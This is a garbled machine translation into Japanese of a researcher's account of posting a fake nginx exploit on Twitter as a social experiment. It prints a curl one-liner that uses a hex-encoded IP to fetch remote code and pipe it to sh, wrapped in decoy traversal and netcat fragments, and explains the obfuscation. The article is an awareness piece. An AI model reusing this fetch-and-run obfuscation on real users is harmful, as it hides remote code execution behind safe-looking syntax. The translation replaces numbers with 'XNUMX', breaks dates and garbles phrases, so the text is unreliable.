停のnginx゚クスプロむトによる瀟䌚実隓が成功

ノヌト。 翻蚳。: 著者 1 月 XNUMX 日に公開されたオリゞナルの Note は、情報セキュリティに関心のある人々を察象に実隓を実斜するこずにしたした。 これを行うために、圌は Web サヌバヌの未公開の脆匱性を突く停の゚クスプロむトを準備し、それを自身の Twitter に投皿したした。 コヌド内の明らかな欺瞞を芋砎る専門家によっお即座に暎露されるずいう圌の仮定は、実珟しなかっただけでなく...それらはすべおの予想を䞊回り、さらにはその逆でした。このツむヌトは、そうではなかった倚数の人々から倚倧な支持を受けたした。その内容を確認しおください。

停のnginx゚クスプロむトによる瀟䌚実隓が成功

TL;DR: いかなる状況でも、sh たたは bash でファむル パむプラむンを䜿甚しないでください。 これはコンピュヌタの制埡を倱う玠晎らしい方法です。

31 月 XNUMX 日に䜜成されたコミック PoC ゚クスプロむトに関する短いストヌリヌを共有したいず思いたす。 圌はからの知らせに応じおすぐに珟れた アリサ・゚サヌゞ・シェフチェンコ、メンバヌ れロデむむニシアチブ (ZDI) によるず、RCE (リモヌト コヌド実行) に぀ながる NGINX の脆匱性に関する情報が間もなく公開される予定です。 NGINX は倚くの Web サむトを支えおいるため、このニュヌスは衝撃的だったに違いありたせん。 しかし、「責任ある開瀺」プロセスの遅れにより、䜕が起こったのか詳现は䞍明でした。これは暙準的な ZDI 手順です。

停のnginx゚クスプロむトによる瀟䌚実隓が成功
぀ぶやき NGINX の脆匱性公開に぀いお

CURL での新しい難読化技術の開発を終えた埌、私は元のツむヌトを匕甚し、発芋された脆匱性を悪甚するず思われる XNUMX 行のコヌドで構成される「実甚的な PoC を挏掩」したした。 もちろん、これは党くのナンセンスでした。 私はすぐに暎露されお、せいぜい数回リツむヌトされるだけだろうず思っおいたしたたあ。

停のnginx゚クスプロむトによる瀟䌚実隓が成功
぀ぶやき 停の゚クスプロむトで

しかし、次に䜕が起こるかは想像できたせんでした。 私のツむヌトの人気は急䞊昇したした。 驚くべきこずに、珟時点モスクワ時間15月00日1時では、これが停物であるこずに気づいおいる人はほずんどいない。 倚くの人がたったくチェックせずにリツむヌトしたす (出力される矎しい ASCII グラフィックを賞賛するこずは蚀うたでもなく)。

停のnginx゚クスプロむトによる瀟䌚実隓が成功
それがどれほど矎しいかを芋おください

これらのルヌプや色はすべお玠晎らしいものですが、それらを衚瀺するにはマシン䞊でコヌドを実行する必芁があるこずは明らかです。 幞いなこずに、ブラりザも同じように動䜜し、法的な問題に巻き蟌たれたくなかったずいう事実ず盞たっお、サむトに埋め蟌たれたコヌドは、远加のコヌドをむンストヌルしたり実行したりするこずなく、単に゚コヌ呌び出しを行うだけでした。

ちょっずした䜙談 ネット䞍気味な, DNZ、私ずチヌムの他のメンバヌ 暎挢 私たちはしばらくの間、curl コマンドを難読化するさたざたな方法を詊しおきたした。それがクヌルだからです...そしお私たちはオタクだからです。 netspooky ず dnz は、私にずっお非垞に有望ず思われるいく぀かの新しい方法を発芋したした。 私もその楜しみに参加しお、トリックの袋に IP XNUMX 進数倉換を远加しおみたした。 IP も XNUMX 進圢匏に倉換できるこずがわかりたした。 さらに、curl やその他のほずんどの NIX ツヌルは、XNUMX 進数の IP を喜んで䜿甚したす。 したがっお、説埗力があり安党に芋えるコマンド ラむンを䜜成するだけでした。 最終的に私はこれに萜ち着きたした:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

瀟䌚電子工孊 (SEE) - 単なるフィッシングではありたせん

この実隓では、安党性ず芪しみやすさが重芁な郚分を占めおいたした。 それらが圌の成功に぀ながったず思いたす。 コマンド ラむンは、「127.0.0.1」(既知のロヌカルホスト) を参照するこずにより、セキュリティを明らかに暗瀺しおいたす。 Localhost は安党であるず考えられおおり、そのデヌタがコンピュヌタから流出するこずはありたせん。

粟通床は、実隓の XNUMX 番目に重芁な SEE 芁玠でした。 察象読者は䞻にコンピュヌタ セキュリティの基本に粟通しおいる人々で構成されおいたため、コヌドの䞀郚が芪しみやすく芪しみやすい (したがっお安党である) ように芋えるようにコヌドを䜜成するこずが重芁でした。 叀い゚クスプロむトの抂念の芁玠を借甚し、それらを珍しい方法で組み合わせるこずで、非垞に成功したこずが蚌明されおいたす。

以䞋はワンラむナヌの詳现な分析です。 このリストにあるものはすべお着おいたす 化粧品の性質であり、実際の操䜜には実質的に䜕も必芁ありたせん。

本圓に必芁なコンポヌネントは䜕でしょうか? これ -gsS, -O 0x0238f06a, |sh そしおWebサヌバヌ自䜓も。 Web サヌバヌには悪意のある呜什は含たれおおらず、単にコマンドを䜿甚しお ASCII グラフィックスを提䟛しおいたした。 echo に含たれるスクリプトで index.html。 ナヌザヌが次の行を入力したずき |sh 途䞭で、 index.html ロヌドされお実行されたした。 幞いなこずに、Web サヌバヌの管理者には悪意はありたせんでした。

  • ../../../%00 — ディレクトリを越えるこずを衚したす。
  • ngx_stream_module.so — ランダムな NGINX モゞュヌルぞのパス。
  • /bin/sh%00<'protocol:TCP' - おそらく立ち䞊げ予定です /bin/sh タヌゲット マシン䞊で出力を TCP チャネルにリダむレクトしたす。
  • -O 0x0238f06a#PLToffset - 秘密の成分、サプリメント #PLToffset、PLT に䜕らかの圢で含たれおいるメモリ オフセットのように芋えたす。
  • |sh; - もう䞀぀の重芁な断片。 次の堎所にある攻撃甚 Web サヌバヌからのコヌドを実行するには、出力を sh/bash にリダむレクトする必芁がありたした。 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat が参照するダミヌ /dev/tcp/localhostすべおが再び安党に芋えるように。 実際、それは䜕もせず、矎しさのラむンに含たれおいたす。

これで、䞀行スクリプトの解読ず「瀟䌚電子工孊」耇雑なフィッシングの偎面に぀いおの議論が終わりたした。

Webサヌバヌの蚭定ず察策

私の賌読者の倧倚数は情報セキュリティ/ハッカヌであるため、賌読者が䜕かできるように (そしお、蚭定。 実隓はただ進行䞭であるため、ここですべおの萜ずし穎を列挙する぀もりはありたせんが、サヌバヌが実行する凊理がいく぀かありたす。

  • 特定の゜ヌシャル ネットワヌクでの配垃の詊みを積極的に監芖し、さたざたなプレビュヌ サムネむルを眮き換えお、ナヌザヌにリンクをクリックするよう促したす。
  • Chrome/Mozilla/Safari などを、シェル スクリプトを衚瀺する代わりに、Thugcrowd のプロモヌション ビデオにリダむレクトしたす。
  • 䟵入/露骚なハッキングの明癜な兆候を監芖し、NSA サヌバヌぞのリク゚ストのリダむレクトを開始したす (ハッ!)。
  • ナヌザヌが通垞のブラりザからホストにアクセスするすべおのコンピュヌタに、トロむの朚銬ず BIOS ルヌトキットをむンストヌルしたす (冗談です!)。

停のnginx゚クスプロむトによる瀟䌚実隓が成功
アンチマヌのごく䞀郚

この堎合、私の唯䞀の目暙は、Apache の機胜の䞀郚、特にリク゚ストをリダむレクトするための優れたルヌルを習埗するこずでした。そしお、次のように考えたした。

NGINX ゚クスプロむト (本物!)

を賌読したす @alisaesage Twitter で、NGINX の非垞に珟実的な脆匱性ず悪甚の機䌚に察凊する ZDI の玠晎らしい取り組みをフォロヌしおください。 圌らの䜜品は垞に私を魅了しおおり、私の愚かなツむヌトによっお匕き起こされたすべおの蚀及や通知に忍耐匷く察応しおくれたアリスに感謝しおいたす。 幞いなこずに、これはいく぀かの良い効果ももたらしたした。NGINX の脆匱性や、curl の悪甚によっお匕き起こされる問題に察する認識を高めるのに圹立ちたした。

出所 habr.com

コメントを远加したす